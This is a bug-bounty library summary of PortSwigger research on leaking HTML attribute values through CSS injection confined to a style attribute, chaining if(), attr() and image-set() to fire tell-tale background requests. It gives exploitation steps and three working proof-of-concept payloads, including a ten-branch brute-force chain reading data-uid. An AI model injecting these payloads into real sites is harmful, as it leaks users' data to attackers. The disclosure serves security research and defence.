# Inline Style Exfiltration: leaking data with chained CSS conditionals

CSS if() conditionals plus attr() and image-set() let inline style attributes exfiltrate attribute values via chained background requests, no stylesheet import needed.

- Payout: Research
- Severity: medium
- Program: Google
- Write-up by: PortSwigger Research
- Disclosed: 2025-08-26
- Write-up quality: 7/10
- Original: https://portswigger.net/research/inline-style-exfiltration
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-inline-style-exfiltration
- Tags: area:os domain:browser domain:web impact:data-leak kind:research platform:research sev:medium tech:chromium technique:chained vuln:info-disclosure

**Target:** CSS engine / inline style attribute
**Root cause:** CSS if() conditional comparisons require double quotes; combined with attr() and image-set() a style attribute can branch on an attribute value and issue a background request per matched value.
**Steps:**
1. Inject into a style attribute: `<div style='--val:attr(title);--steal:if(style(--val:"1"): "/1"; else: "/2");background:image-set(var(--steal))' title=1>`
2. Note single quotes in the comparison fail; double quotes required
3. Chain nested if() to test multiple candidate values, each branch pointing to a distinct URL
4. Observe which background request fires to learn the attribute value
5. Brute force candidate values with a Burp Custom Action
**How found:** Prompted by a question about inline-style data theft; recalled Slonser's attr()+image-set() technique and hypothesized CSS if() conditionals could branch without a stylesheet import; initial single-quote attempt failed, Slonser supplied working double-quote snippet.
**Exploitation:** Attacker with CSS injection limited to a style attribute reads attribute data (e.g. data-username) by branching on attr() value and forcing a background request to an attacker-controlled URL, leaking the value via which request arrives.
**Escalation:** Nested if() chains extend single-value checks to brute-forcing arbitrary short attribute values.
**Insight:** When CSS injection is confined to a style attribute, attr() feeds a custom property and if(style(--x:"v")) branches can still trigger image-set() background requests — quote style in the comparison matters (double quotes required in Chromium).

## Proof of concept (copied exactly from the original report)

**Inline style chained if exfiltration payload**

```
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```

**Minimal working if/attr PoC**

```
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```

**Reduced string-only exfiltration vector**

```
<div style='--val:attr(title);--steal:if(style(--val:"1"): "/1"; else: "/2");background:image-set(var(--steal))' title=1>test</div>
```

